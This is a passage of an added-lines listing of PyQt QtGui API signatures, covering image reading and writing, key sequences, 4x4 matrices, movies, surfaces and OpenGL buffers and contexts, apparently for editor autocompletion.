+QtGui.QImageIOHandler.ImageOption.ClipRect?10 +QtGui.QImageIOHandler.ImageOption.Description?10 +QtGui.QImageIOHandler.ImageOption.ScaledClipRect?10 +QtGui.QImageIOHandler.ImageOption.ScaledSize?10 +QtGui.QImageIOHandler.ImageOption.CompressionRatio?10 +QtGui.QImageIOHandler.ImageOption.Gamma?10 +QtGui.QImageIOHandler.ImageOption.Quality?10 +QtGui.QImageIOHandler.ImageOption.Name?10 +QtGui.QImageIOHandler.ImageOption.SubType?10 +QtGui.QImageIOHandler.ImageOption.IncrementalReading?10 +QtGui.QImageIOHandler.ImageOption.Endianness?10 +QtGui.QImageIOHandler.ImageOption.Animation?10 +QtGui.QImageIOHandler.ImageOption.BackgroundColor?10 +QtGui.QImageIOHandler.ImageOption.SupportedSubTypes?10 +QtGui.QImageIOHandler.ImageOption.OptimizedWrite?10 +QtGui.QImageIOHandler.ImageOption.ProgressiveScanWrite?10 +QtGui.QImageIOHandler.ImageOption.ImageTransformation?10 +QtGui.QImageIOHandler.ImageOption.TransformedByDefault?10 +QtGui.QImageIOHandler?1() +QtGui.QImageIOHandler.__init__?1(self) +QtGui.QImageIOHandler.setDevice?4(QIODevice) +QtGui.QImageIOHandler.device?4() -> QIODevice +QtGui.QImageIOHandler.setFormat?4(QByteArray) +QtGui.QImageIOHandler.format?4() -> QByteArray +QtGui.QImageIOHandler.canRead?4() -> bool +QtGui.QImageIOHandler.read?4(QImage) -> bool +QtGui.QImageIOHandler.write?4(QImage) -> bool +QtGui.QImageIOHandler.option?4(QImageIOHandler.ImageOption) -> QVariant +QtGui.QImageIOHandler.setOption?4(QImageIOHandler.ImageOption, QVariant) +QtGui.QImageIOHandler.supportsOption?4(QImageIOHandler.ImageOption) -> bool +QtGui.QImageIOHandler.jumpToNextImage?4() -> bool +QtGui.QImageIOHandler.jumpToImage?4(int) -> bool +QtGui.QImageIOHandler.loopCount?4() -> int +QtGui.QImageIOHandler.imageCount?4() -> int +QtGui.QImageIOHandler.nextImageDelay?4() -> int +QtGui.QImageIOHandler.currentImageNumber?4() -> int +QtGui.QImageIOHandler.currentImageRect?4() -> QRect +QtGui.QImageIOHandler.Transformations?1() +QtGui.QImageIOHandler.Transformations.__init__?1(self) +QtGui.QImageIOHandler.Transformations?1(int) +QtGui.QImageIOHandler.Transformations.__init__?1(self, int) +QtGui.QImageIOHandler.Transformations?1(QImageIOHandler.Transformations) +QtGui.QImageIOHandler.Transformations.__init__?1(self, QImageIOHandler.Transformations) +QtGui.QImageReader.ImageReaderError?10 +QtGui.QImageReader.ImageReaderError.UnknownError?10 +QtGui.QImageReader.ImageReaderError.FileNotFoundError?10 +QtGui.QImageReader.ImageReaderError.DeviceError?10 +QtGui.QImageReader.ImageReaderError.UnsupportedFormatError?10 +QtGui.QImageReader.ImageReaderError.InvalidDataError?10 +QtGui.QImageReader?1() +QtGui.QImageReader.__init__?1(self) +QtGui.QImageReader?1(QIODevice, QByteArray format=QByteArray()) +QtGui.QImageReader.__init__?1(self, QIODevice, QByteArray format=QByteArray()) +QtGui.QImageReader?1(QString, QByteArray format=QByteArray()) +QtGui.QImageReader.__init__?1(self, QString, QByteArray format=QByteArray()) +QtGui.QImageReader.setFormat?4(QByteArray) +QtGui.QImageReader.format?4() -> QByteArray +QtGui.QImageReader.setDevice?4(QIODevice) +QtGui.QImageReader.device?4() -> QIODevice +QtGui.QImageReader.setFileName?4(QString) +QtGui.QImageReader.fileName?4() -> QString +QtGui.QImageReader.size?4() -> QSize +QtGui.QImageReader.setClipRect?4(QRect) +QtGui.QImageReader.clipRect?4() -> QRect +QtGui.QImageReader.setScaledSize?4(QSize) +QtGui.QImageReader.scaledSize?4() -> QSize +QtGui.QImageReader.setScaledClipRect?4(QRect) +QtGui.QImageReader.scaledClipRect?4() -> QRect +QtGui.QImageReader.canRead?4() -> bool +QtGui.QImageReader.read?4() -> QImage +QtGui.QImageReader.read?4(QImage) -> bool +QtGui.QImageReader.jumpToNextImage?4() -> bool +QtGui.QImageReader.jumpToImage?4(int) -> bool +QtGui.QImageReader.loopCount?4() -> int +QtGui.QImageReader.imageCount?4() -> int +QtGui.QImageReader.nextImageDelay?4() -> int +QtGui.QImageReader.currentImageNumber?4() -> int +QtGui.QImageReader.currentImageRect?4() -> QRect +QtGui.QImageReader.error?4() -> QImageReader.ImageReaderError +QtGui.QImageReader.errorString?4() -> QString +QtGui.QImageReader.imageFormat?4(QString) -> QByteArray +QtGui.QImageReader.imageFormat?4(QIODevice) -> QByteArray +QtGui.QImageReader.supportedImageFormats?4() -> unknown-type +QtGui.QImageReader.textKeys?4() -> QStringList +QtGui.QImageReader.text?4(QString) -> QString +QtGui.QImageReader.setBackgroundColor?4(QColor) +QtGui.QImageReader.backgroundColor?4() -> QColor +QtGui.QImageReader.supportsAnimation?4() -> bool +QtGui.QImageReader.setQuality?4(int) +QtGui.QImageReader.quality?4() -> int +QtGui.QImageReader.supportsOption?4(QImageIOHandler.ImageOption) -> bool +QtGui.QImageReader.setAutoDetectImageFormat?4(bool) +QtGui.QImageReader.autoDetectImageFormat?4() -> bool +QtGui.QImageReader.imageFormat?4() -> QImage.Format +QtGui.QImageReader.setDecideFormatFromContent?4(bool) +QtGui.QImageReader.decideFormatFromContent?4() -> bool +QtGui.QImageReader.supportedMimeTypes?4() -> unknown-type +QtGui.QImageReader.subType?4() -> QByteArray +QtGui.QImageReader.supportedSubTypes?4() -> unknown-type +QtGui.QImageReader.transformation?4() -> QImageIOHandler.Transformations +QtGui.QImageReader.setAutoTransform?4(bool) +QtGui.QImageReader.autoTransform?4() -> bool +QtGui.QImageReader.setGamma?4(float) +QtGui.QImageReader.gamma?4() -> float +QtGui.QImageReader.imageFormatsForMimeType?4(QByteArray) -> unknown-type +QtGui.QImageWriter.ImageWriterError?10 +QtGui.QImageWriter.ImageWriterError.UnknownError?10 +QtGui.QImageWriter.ImageWriterError.DeviceError?10 +QtGui.QImageWriter.ImageWriterError.UnsupportedFormatError?10 +QtGui.QImageWriter.ImageWriterError.InvalidImageError?10 +QtGui.QImageWriter?1() +QtGui.QImageWriter.__init__?1(self) +QtGui.QImageWriter?1(QIODevice, QByteArray) +QtGui.QImageWriter.__init__?1(self, QIODevice, QByteArray) +QtGui.QImageWriter?1(QString, QByteArray format=QByteArray()) +QtGui.QImageWriter.__init__?1(self, QString, QByteArray format=QByteArray()) +QtGui.QImageWriter.setFormat?4(QByteArray) +QtGui.QImageWriter.format?4() -> QByteArray +QtGui.QImageWriter.setDevice?4(QIODevice) +QtGui.QImageWriter.device?4() -> QIODevice +QtGui.QImageWriter.setFileName?4(QString) +QtGui.QImageWriter.fileName?4() -> QString +QtGui.QImageWriter.setQuality?4(int) +QtGui.QImageWriter.quality?4() -> int +QtGui.QImageWriter.setGamma?4(float) +QtGui.QImageWriter.gamma?4() -> float +QtGui.QImageWriter.canWrite?4() -> bool +QtGui.QImageWriter.write?4(QImage) -> bool +QtGui.QImageWriter.error?4() -> QImageWriter.ImageWriterError +QtGui.QImageWriter.errorString?4() -> QString +QtGui.QImageWriter.supportedImageFormats?4() -> unknown-type +QtGui.QImageWriter.setText?4(QString, QString) +QtGui.QImageWriter.supportsOption?4(QImageIOHandler.ImageOption) -> bool +QtGui.QImageWriter.setCompression?4(int) +QtGui.QImageWriter.compression?4() -> int +QtGui.QImageWriter.supportedMimeTypes?4() -> unknown-type +QtGui.QImageWriter.setSubType?4(QByteArray) +QtGui.QImageWriter.subType?4() -> QByteArray +QtGui.QImageWriter.supportedSubTypes?4() -> unknown-type +QtGui.QImageWriter.setOptimizedWrite?4(bool) +QtGui.QImageWriter.optimizedWrite?4() -> bool +QtGui.QImageWriter.setProgressiveScanWrite?4(bool) +QtGui.QImageWriter.progressiveScanWrite?4() -> bool +QtGui.QImageWriter.transformation?4() -> QImageIOHandler.Transformations +QtGui.QImageWriter.setTransformation?4(QImageIOHandler.Transformations) +QtGui.QImageWriter.imageFormatsForMimeType?4(QByteArray) -> unknown-type +QtGui.QInputMethod.Action?10 +QtGui.QInputMethod.Action.Click?10 +QtGui.QInputMethod.Action.ContextMenu?10 +QtGui.QInputMethod.inputItemTransform?4() -> QTransform +QtGui.QInputMethod.setInputItemTransform?4(QTransform) +QtGui.QInputMethod.cursorRectangle?4() -> QRectF +QtGui.QInputMethod.keyboardRectangle?4() -> QRectF +QtGui.QInputMethod.isVisible?4() -> bool +QtGui.QInputMethod.setVisible?4(bool) +QtGui.QInputMethod.isAnimating?4() -> bool +QtGui.QInputMethod.locale?4() -> QLocale +QtGui.QInputMethod.inputDirection?4() -> Qt.LayoutDirection +QtGui.QInputMethod.inputItemRectangle?4() -> QRectF +QtGui.QInputMethod.setInputItemRectangle?4(QRectF) +QtGui.QInputMethod.queryFocusObject?4(Qt.InputMethodQuery, QVariant) -> QVariant +QtGui.QInputMethod.show?4() +QtGui.QInputMethod.hide?4() +QtGui.QInputMethod.update?4(Qt.InputMethodQueries) +QtGui.QInputMethod.reset?4() +QtGui.QInputMethod.commit?4() +QtGui.QInputMethod.invokeAction?4(QInputMethod.Action, int) +QtGui.QInputMethod.cursorRectangleChanged?4() +QtGui.QInputMethod.keyboardRectangleChanged?4() +QtGui.QInputMethod.visibleChanged?4() +QtGui.QInputMethod.animatingChanged?4() +QtGui.QInputMethod.localeChanged?4() +QtGui.QInputMethod.inputDirectionChanged?4(Qt.LayoutDirection) +QtGui.QInputMethod.anchorRectangle?4() -> QRectF +QtGui.QInputMethod.inputItemClipRectangle?4() -> QRectF +QtGui.QInputMethod.anchorRectangleChanged?4() +QtGui.QInputMethod.inputItemClipRectangleChanged?4() +QtGui.QKeySequence.StandardKey?10 +QtGui.QKeySequence.StandardKey.UnknownKey?10 +QtGui.QKeySequence.StandardKey.HelpContents?10 +QtGui.QKeySequence.StandardKey.WhatsThis?10 +QtGui.QKeySequence.StandardKey.Open?10 +QtGui.QKeySequence.StandardKey.Close?10 +QtGui.QKeySequence.StandardKey.Save?10 +QtGui.QKeySequence.StandardKey.New?10 +QtGui.QKeySequence.StandardKey.Delete?10 +QtGui.QKeySequence.StandardKey.Cut?10 +QtGui.QKeySequence.StandardKey.Copy?10 +QtGui.QKeySequence.StandardKey.Paste?10 +QtGui.QKeySequence.StandardKey.Undo?10 +QtGui.QKeySequence.StandardKey.Redo?10 +QtGui.QKeySequence.StandardKey.Back?10 +QtGui.QKeySequence.StandardKey.Forward?10 +QtGui.QKeySequence.StandardKey.Refresh?10 +QtGui.QKeySequence.StandardKey.ZoomIn?10 +QtGui.QKeySequence.StandardKey.ZoomOut?10 +QtGui.QKeySequence.StandardKey.Print?10 +QtGui.QKeySequence.StandardKey.AddTab?10 +QtGui.QKeySequence.StandardKey.NextChild?10 +QtGui.QKeySequence.StandardKey.PreviousChild?10 +QtGui.QKeySequence.StandardKey.Find?10 +QtGui.QKeySequence.StandardKey.FindNext?10 +QtGui.QKeySequence.StandardKey.FindPrevious?10 +QtGui.QKeySequence.StandardKey.Replace?10 +QtGui.QKeySequence.StandardKey.SelectAll?10 +QtGui.QKeySequence.StandardKey.Bold?10 +QtGui.QKeySequence.StandardKey.Italic?10 +QtGui.QKeySequence.StandardKey.Underline?10 +QtGui.QKeySequence.StandardKey.MoveToNextChar?10 +QtGui.QKeySequence.StandardKey.MoveToPreviousChar?10 +QtGui.QKeySequence.StandardKey.MoveToNextWord?10 +QtGui.QKeySequence.StandardKey.MoveToPreviousWord?10 +QtGui.QKeySequence.StandardKey.MoveToNextLine?10 +QtGui.QKeySequence.StandardKey.MoveToPreviousLine?10 +QtGui.QKeySequence.StandardKey.MoveToNextPage?10 +QtGui.QKeySequence.StandardKey.MoveToPreviousPage?10 +QtGui.QKeySequence.StandardKey.MoveToStartOfLine?10 +QtGui.QKeySequence.StandardKey.MoveToEndOfLine?10 +QtGui.QKeySequence.StandardKey.MoveToStartOfBlock?10 +QtGui.QKeySequence.StandardKey.MoveToEndOfBlock?10 +QtGui.QKeySequence.StandardKey.MoveToStartOfDocument?10 +QtGui.QKeySequence.StandardKey.MoveToEndOfDocument?10 +QtGui.QKeySequence.StandardKey.SelectNextChar?10 +QtGui.QKeySequence.StandardKey.SelectPreviousChar?10 +QtGui.QKeySequence.StandardKey.SelectNextWord?10 +QtGui.QKeySequence.StandardKey.SelectPreviousWord?10 +QtGui.QKeySequence.StandardKey.SelectNextLine?10 +QtGui.QKeySequence.StandardKey.SelectPreviousLine?10 +QtGui.QKeySequence.StandardKey.SelectNextPage?10 +QtGui.QKeySequence.StandardKey.SelectPreviousPage?10 +QtGui.QKeySequence.StandardKey.SelectStartOfLine?10 +QtGui.QKeySequence.StandardKey.SelectEndOfLine?10 +QtGui.QKeySequence.StandardKey.SelectStartOfBlock?10 +QtGui.QKeySequence.StandardKey.SelectEndOfBlock?10 +QtGui.QKeySequence.StandardKey.SelectStartOfDocument?10 +QtGui.QKeySequence.StandardKey.SelectEndOfDocument?10 +QtGui.QKeySequence.StandardKey.DeleteStartOfWord?10 +QtGui.QKeySequence.StandardKey.DeleteEndOfWord?10 +QtGui.QKeySequence.StandardKey.DeleteEndOfLine?10 +QtGui.QKeySequence.StandardKey.InsertParagraphSeparator?10 +QtGui.QKeySequence.StandardKey.InsertLineSeparator?10 +QtGui.QKeySequence.StandardKey.SaveAs?10 +QtGui.QKeySequence.StandardKey.Preferences?10 +QtGui.QKeySequence.StandardKey.Quit?10 +QtGui.QKeySequence.StandardKey.FullScreen?10 +QtGui.QKeySequence.StandardKey.Deselect?10 +QtGui.QKeySequence.StandardKey.DeleteCompleteLine?10 +QtGui.QKeySequence.StandardKey.Backspace?10 +QtGui.QKeySequence.StandardKey.Cancel?10 +QtGui.QKeySequence.SequenceMatch?10 +QtGui.QKeySequence.SequenceMatch.NoMatch?10 +QtGui.QKeySequence.SequenceMatch.PartialMatch?10 +QtGui.QKeySequence.SequenceMatch.ExactMatch?10 +QtGui.QKeySequence.SequenceFormat?10 +QtGui.QKeySequence.SequenceFormat.NativeText?10 +QtGui.QKeySequence.SequenceFormat.PortableText?10 +QtGui.QKeySequence?1() +QtGui.QKeySequence.__init__?1(self) +QtGui.QKeySequence?1(QKeySequence) +QtGui.QKeySequence.__init__?1(self, QKeySequence) +QtGui.QKeySequence?1(QString, QKeySequence.SequenceFormat format=QKeySequence.NativeText) +QtGui.QKeySequence.__init__?1(self, QString, QKeySequence.SequenceFormat format=QKeySequence.NativeText) +QtGui.QKeySequence?1(int, int key2=0, int key3=0, int key4=0) +QtGui.QKeySequence.__init__?1(self, int, int key2=0, int key3=0, int key4=0) +QtGui.QKeySequence?1(QVariant) +QtGui.QKeySequence.__init__?1(self, QVariant) +QtGui.QKeySequence.count?4() -> int +QtGui.QKeySequence.isEmpty?4() -> bool +QtGui.QKeySequence.matches?4(QKeySequence) -> QKeySequence.SequenceMatch +QtGui.QKeySequence.mnemonic?4(QString) -> QKeySequence +QtGui.QKeySequence.isDetached?4() -> bool +QtGui.QKeySequence.swap?4(QKeySequence) +QtGui.QKeySequence.toString?4(QKeySequence.SequenceFormat format=QKeySequence.PortableText) -> QString +QtGui.QKeySequence.fromString?4(QString, QKeySequence.SequenceFormat format=QKeySequence.PortableText) -> QKeySequence +QtGui.QKeySequence.keyBindings?4(QKeySequence.StandardKey) -> unknown-type +QtGui.QKeySequence.listFromString?4(QString, QKeySequence.SequenceFormat format=QKeySequence.PortableText) -> unknown-type +QtGui.QKeySequence.listToString?4(unknown-type, QKeySequence.SequenceFormat format=QKeySequence.PortableText) -> QString +QtGui.QMatrix4x4?1() +QtGui.QMatrix4x4.__init__?1(self) +QtGui.QMatrix4x4?1(object) +QtGui.QMatrix4x4.__init__?1(self, object) +QtGui.QMatrix4x4?1(float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float) +QtGui.QMatrix4x4.__init__?1(self, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float) +QtGui.QMatrix4x4?1(QTransform) +QtGui.QMatrix4x4.__init__?1(self, QTransform) +QtGui.QMatrix4x4?1(QMatrix4x4) +QtGui.QMatrix4x4.__init__?1(self, QMatrix4x4) +QtGui.QMatrix4x4.determinant?4() -> float +QtGui.QMatrix4x4.inverted?4() -> (QMatrix4x4, bool) +QtGui.QMatrix4x4.transposed?4() -> QMatrix4x4 +QtGui.QMatrix4x4.normalMatrix?4() -> QMatrix3x3 +QtGui.QMatrix4x4.scale?4(QVector3D) +QtGui.QMatrix4x4.scale?4(float, float) +QtGui.QMatrix4x4.scale?4(float, float, float) +QtGui.QMatrix4x4.scale?4(float) +QtGui.QMatrix4x4.translate?4(QVector3D) +QtGui.QMatrix4x4.translate?4(float, float) +QtGui.QMatrix4x4.translate?4(float, float, float) +QtGui.QMatrix4x4.rotate?4(float, QVector3D) +QtGui.QMatrix4x4.rotate?4(float, float, float, float z=0) +QtGui.QMatrix4x4.rotate?4(QQuaternion) +QtGui.QMatrix4x4.ortho?4(QRect) +QtGui.QMatrix4x4.ortho?4(QRectF) +QtGui.QMatrix4x4.ortho?4(float, float, float, float, float, float) +QtGui.QMatrix4x4.frustum?4(float, float, float, float, float, float) +QtGui.QMatrix4x4.perspective?4(float, float, float, float) +QtGui.QMatrix4x4.lookAt?4(QVector3D, QVector3D, QVector3D) +QtGui.QMatrix4x4.copyDataTo?4() -> list +QtGui.QMatrix4x4.toTransform?4() -> QTransform +QtGui.QMatrix4x4.toTransform?4(float) -> QTransform +QtGui.QMatrix4x4.mapRect?4(QRect) -> QRect +QtGui.QMatrix4x4.mapRect?4(QRectF) -> QRectF +QtGui.QMatrix4x4.data?4() -> list +QtGui.QMatrix4x4.optimize?4() +QtGui.QMatrix4x4.column?4(int) -> QVector4D +QtGui.QMatrix4x4.setColumn?4(int, QVector4D) +QtGui.QMatrix4x4.row?4(int) -> QVector4D +QtGui.QMatrix4x4.setRow?4(int, QVector4D) +QtGui.QMatrix4x4.isIdentity?4() -> bool +QtGui.QMatrix4x4.setToIdentity?4() +QtGui.QMatrix4x4.fill?4(float) +QtGui.QMatrix4x4.map?4(QPoint) -> QPoint +QtGui.QMatrix4x4.map?4(QPointF) -> QPointF +QtGui.QMatrix4x4.map?4(QVector3D) -> QVector3D +QtGui.QMatrix4x4.mapVector?4(QVector3D) -> QVector3D +QtGui.QMatrix4x4.map?4(QVector4D) -> QVector4D +QtGui.QMatrix4x4.viewport?4(float, float, float, float, float nearPlane=0, float farPlane=1) +QtGui.QMatrix4x4.viewport?4(QRectF) +QtGui.QMatrix4x4.isAffine?4() -> bool +QtGui.QMovie.CacheMode?10 +QtGui.QMovie.CacheMode.CacheNone?10 +QtGui.QMovie.CacheMode.CacheAll?10 +QtGui.QMovie.MovieState?10 +QtGui.QMovie.MovieState.NotRunning?10 +QtGui.QMovie.MovieState.Paused?10 +QtGui.QMovie.MovieState.Running?10 +QtGui.QMovie?1(QObject parent=None) +QtGui.QMovie.__init__?1(self, QObject parent=None) +QtGui.QMovie?1(QIODevice, QByteArray format=QByteArray(), QObject parent=None) +QtGui.QMovie.__init__?1(self, QIODevice, QByteArray format=QByteArray(), QObject parent=None) +QtGui.QMovie?1(QString, QByteArray format=QByteArray(), QObject parent=None) +QtGui.QMovie.__init__?1(self, QString, QByteArray format=QByteArray(), QObject parent=None) +QtGui.QMovie.supportedFormats?4() -> unknown-type +QtGui.QMovie.setDevice?4(QIODevice) +QtGui.QMovie.device?4() -> QIODevice +QtGui.QMovie.setFileName?4(QString) +QtGui.QMovie.fileName?4() -> QString +QtGui.QMovie.setFormat?4(QByteArray) +QtGui.QMovie.format?4() -> QByteArray +QtGui.QMovie.setBackgroundColor?4(QColor) +QtGui.QMovie.backgroundColor?4() -> QColor +QtGui.QMovie.state?4() -> QMovie.MovieState +QtGui.QMovie.frameRect?4() -> QRect +QtGui.QMovie.currentImage?4() -> QImage +QtGui.QMovie.currentPixmap?4() -> QPixmap +QtGui.QMovie.isValid?4() -> bool +QtGui.QMovie.jumpToFrame?4(int) -> bool +QtGui.QMovie.loopCount?4() -> int +QtGui.QMovie.frameCount?4() -> int +QtGui.QMovie.nextFrameDelay?4() -> int +QtGui.QMovie.currentFrameNumber?4() -> int +QtGui.QMovie.setSpeed?4(int) +QtGui.QMovie.speed?4() -> int +QtGui.QMovie.scaledSize?4() -> QSize +QtGui.QMovie.setScaledSize?4(QSize) +QtGui.QMovie.cacheMode?4() -> QMovie.CacheMode +QtGui.QMovie.setCacheMode?4(QMovie.CacheMode) +QtGui.QMovie.started?4() +QtGui.QMovie.resized?4(QSize) +QtGui.QMovie.updated?4(QRect) +QtGui.QMovie.stateChanged?4(QMovie.MovieState) +QtGui.QMovie.error?4(QImageReader.ImageReaderError) +QtGui.QMovie.finished?4() +QtGui.QMovie.frameChanged?4(int) +QtGui.QMovie.start?4() +QtGui.QMovie.jumpToNextFrame?4() -> bool +QtGui.QMovie.setPaused?4(bool) +QtGui.QMovie.stop?4() +QtGui.QMovie.lastError?4() -> QImageReader.ImageReaderError +QtGui.QMovie.lastErrorString?4() -> QString +QtGui.QSurface.SurfaceType?10 +QtGui.QSurface.SurfaceType.RasterSurface?10 +QtGui.QSurface.SurfaceType.OpenGLSurface?10 +QtGui.QSurface.SurfaceType.RasterGLSurface?10 +QtGui.QSurface.SurfaceType.OpenVGSurface?10 +QtGui.QSurface.SurfaceType.VulkanSurface?10 +QtGui.QSurface.SurfaceType.MetalSurface?10 +QtGui.QSurface.SurfaceClass?10 +QtGui.QSurface.SurfaceClass.Window?10 +QtGui.QSurface.SurfaceClass.Offscreen?10 +QtGui.QSurface?1(QSurface.SurfaceClass) +QtGui.QSurface.__init__?1(self, QSurface.SurfaceClass) +QtGui.QSurface?1(QSurface) +QtGui.QSurface.__init__?1(self, QSurface) +QtGui.QSurface.surfaceClass?4() -> QSurface.SurfaceClass +QtGui.QSurface.format?4() -> QSurfaceFormat +QtGui.QSurface.surfaceType?4() -> QSurface.SurfaceType +QtGui.QSurface.size?4() -> QSize +QtGui.QSurface.supportsOpenGL?4() -> bool +QtGui.QOffscreenSurface?1(QScreen screen=None) +QtGui.QOffscreenSurface.__init__?1(self, QScreen screen=None) +QtGui.QOffscreenSurface?1(QScreen, QObject) +QtGui.QOffscreenSurface.__init__?1(self, QScreen, QObject) +QtGui.QOffscreenSurface.surfaceType?4() -> QSurface.SurfaceType +QtGui.QOffscreenSurface.create?4() +QtGui.QOffscreenSurface.destroy?4() +QtGui.QOffscreenSurface.isValid?4() -> bool +QtGui.QOffscreenSurface.setFormat?4(QSurfaceFormat) +QtGui.QOffscreenSurface.format?4() -> QSurfaceFormat +QtGui.QOffscreenSurface.requestedFormat?4() -> QSurfaceFormat +QtGui.QOffscreenSurface.size?4() -> QSize +QtGui.QOffscreenSurface.screen?4() -> QScreen +QtGui.QOffscreenSurface.setScreen?4(QScreen) +QtGui.QOffscreenSurface.screenChanged?4(QScreen) +QtGui.QOffscreenSurface.nativeHandle?4() -> sip.voidptr +QtGui.QOffscreenSurface.setNativeHandle?4(sip.voidptr) +QtGui.QOpenGLBuffer.RangeAccessFlag?10 +QtGui.QOpenGLBuffer.RangeAccessFlag.RangeRead?10 +QtGui.QOpenGLBuffer.RangeAccessFlag.RangeWrite?10 +QtGui.QOpenGLBuffer.RangeAccessFlag.RangeInvalidate?10 +QtGui.QOpenGLBuffer.RangeAccessFlag.RangeInvalidateBuffer?10 +QtGui.QOpenGLBuffer.RangeAccessFlag.RangeFlushExplicit?10 +QtGui.QOpenGLBuffer.RangeAccessFlag.RangeUnsynchronized?10 +QtGui.QOpenGLBuffer.Access?10 +QtGui.QOpenGLBuffer.Access.ReadOnly?10 +QtGui.QOpenGLBuffer.Access.WriteOnly?10 +QtGui.QOpenGLBuffer.Access.ReadWrite?10 +QtGui.QOpenGLBuffer.UsagePattern?10 +QtGui.QOpenGLBuffer.UsagePattern.StreamDraw?10 +QtGui.QOpenGLBuffer.UsagePattern.StreamRead?10 +QtGui.QOpenGLBuffer.UsagePattern.StreamCopy?10 +QtGui.QOpenGLBuffer.UsagePattern.StaticDraw?10 +QtGui.QOpenGLBuffer.UsagePattern.StaticRead?10 +QtGui.QOpenGLBuffer.UsagePattern.StaticCopy?10 +QtGui.QOpenGLBuffer.UsagePattern.DynamicDraw?10 +QtGui.QOpenGLBuffer.UsagePattern.DynamicRead?10 +QtGui.QOpenGLBuffer.UsagePattern.DynamicCopy?10 +QtGui.QOpenGLBuffer.Type?10 +QtGui.QOpenGLBuffer.Type.VertexBuffer?10 +QtGui.QOpenGLBuffer.Type.IndexBuffer?10 +QtGui.QOpenGLBuffer.Type.PixelPackBuffer?10 +QtGui.QOpenGLBuffer.Type.PixelUnpackBuffer?10 +QtGui.QOpenGLBuffer?1() +QtGui.QOpenGLBuffer.__init__?1(self) +QtGui.QOpenGLBuffer?1(QOpenGLBuffer.Type) +QtGui.QOpenGLBuffer.__init__?1(self, QOpenGLBuffer.Type) +QtGui.QOpenGLBuffer?1(QOpenGLBuffer) +QtGui.QOpenGLBuffer.__init__?1(self, QOpenGLBuffer) +QtGui.QOpenGLBuffer.type?4() -> QOpenGLBuffer.Type +QtGui.QOpenGLBuffer.usagePattern?4() -> QOpenGLBuffer.UsagePattern +QtGui.QOpenGLBuffer.setUsagePattern?4(QOpenGLBuffer.UsagePattern) +QtGui.QOpenGLBuffer.create?4() -> bool +QtGui.QOpenGLBuffer.isCreated?4() -> bool +QtGui.QOpenGLBuffer.destroy?4() +QtGui.QOpenGLBuffer.bind?4() -> bool +QtGui.QOpenGLBuffer.release?4() +QtGui.QOpenGLBuffer.release?4(QOpenGLBuffer.Type) +QtGui.QOpenGLBuffer.bufferId?4() -> int +QtGui.QOpenGLBuffer.size?4() -> int +QtGui.QOpenGLBuffer.read?4(int, sip.voidptr, int) -> bool +QtGui.QOpenGLBuffer.write?4(int, sip.voidptr, int) +QtGui.QOpenGLBuffer.allocate?4(sip.voidptr, int) +QtGui.QOpenGLBuffer.allocate?4(int) +QtGui.QOpenGLBuffer.map?4(QOpenGLBuffer.Access) -> sip.voidptr +QtGui.QOpenGLBuffer.unmap?4() -> bool +QtGui.QOpenGLBuffer.mapRange?4(int, int, QOpenGLBuffer.RangeAccessFlags) -> sip.voidptr +QtGui.QOpenGLBuffer.RangeAccessFlags?1() +QtGui.QOpenGLBuffer.RangeAccessFlags.__init__?1(self) +QtGui.QOpenGLBuffer.RangeAccessFlags?1(int) +QtGui.QOpenGLBuffer.RangeAccessFlags.__init__?1(self, int) +QtGui.QOpenGLBuffer.RangeAccessFlags?1(QOpenGLBuffer.RangeAccessFlags) +QtGui.QOpenGLBuffer.RangeAccessFlags.__init__?1(self, QOpenGLBuffer.RangeAccessFlags) +QtGui.QOpenGLContextGroup.shares?4() -> unknown-type +QtGui.QOpenGLContextGroup.currentContextGroup?4() -> QOpenGLContextGroup +QtGui.QOpenGLContext.OpenGLModuleType?10 +QtGui.QOpenGLContext.OpenGLModuleType.LibGL?10 +QtGui.QOpenGLContext.OpenGLModuleType.LibGLES?10 +QtGui.QOpenGLContext?1(QObject parent=None) +QtGui.QOpenGLContext.__init__?1(self, QObject parent=None) +QtGui.QOpenGLContext.setFormat?4(QSurfaceFormat) +QtGui.QOpenGLContext.setShareContext?4(QOpenGLContext) +QtGui.QOpenGLContext.setScreen?4(QScreen) +QtGui.QOpenGLContext.create?4() -> bool +QtGui.QOpenGLContext.isValid?4() -> bool +QtGui.QOpenGLContext.format?4() -> QSurfaceFormat +QtGui.QOpenGLContext.shareContext?4() -> QOpenGLContext +QtGui.QOpenGLContext.shareGroup?4() -> QOpenGLContextGroup +QtGui.QOpenGLContext.screen?4() -> QScreen +QtGui.QOpenGLContext.defaultFramebufferObject?4() -> int +QtGui.QOpenGLContext.makeCurrent?4(QSurface) -> bool +QtGui.QOpenGLContext.doneCurrent?4() +QtGui.QOpenGLContext.swapBuffers?4(QSurface) +QtGui.QOpenGLContext.getProcAddress?4(QByteArray) -> sip.voidptr +QtGui.QOpenGLContext.surface?4() -> QSurface +QtGui.QOpenGLContext.currentContext?4() -> QOpenGLContext +QtGui.QOpenGLContext.areSharing?4(QOpenGLContext, QOpenGLContext) -> bool +QtGui.QOpenGLContext.extensions?4() -> unknown-type +QtGui.QOpenGLContext.hasExtension?4(QByteArray) -> bool +QtGui.QOpenGLContext.aboutToBeDestroyed?4() +QtGui.QOpenGLContext.versionFunctions?4(QOpenGLVersionProfile versionProfile=None) -> object +QtGui.QOpenGLContext.openGLModuleHandle?4() -> sip.voidptr +QtGui.QOpenGLContext.openGLModuleType?4() -> QOpenGLContext.OpenGLModuleType +QtGui.QOpenGLContext.isOpenGLES?4() -> bool +QtGui.QOpenGLContext.setNativeHandle?4(QVariant) +QtGui.QOpenGLContext.nativeHandle?4() -> QVariant +QtGui.QOpenGLContext.supportsThreadedOpenGL?4() -> bool +QtGui.QOpenGLContext.globalShareContext?4() -> QOpenGLContext +QtGui.QOpenGLVersionProfile?1() +QtGui.QOpenGLVersionProfile.__init__?1(self) +QtGui.QOpenGLVersionProfile?1(QSurfaceFormat) +QtGui.QOpenGLVersionProfile.__init__?1(self, QSurfaceFormat) +QtGui.QOpenGLVersionProfile?1(QOpenGLVersionProfile) +QtGui.QOpenGLVersionProfile.__init__?1(self, QOpenGLVersionProfile) +QtGui.QOpenGLVersionProfile.version?4() -> unknown-type +QtGui.QOpenGLVersionProfile.setVersion?4(int, int) +QtGui.QOpenGLVersionProfile.profile?4() -> QSurfaceFormat.OpenGLContextProfile +QtGui.QOpenGLVersionProfile.setProfile?4(QSurfaceFormat.OpenGLContextProfile) +QtGui.QOpenGLVersionProfile.hasProfiles?4() -> bool +QtGui.QOpenGLVersionProfile.isLegacyVersion?4() -> bool +QtGui.QOpenGLVersionProfile.isValid?4() -> bool 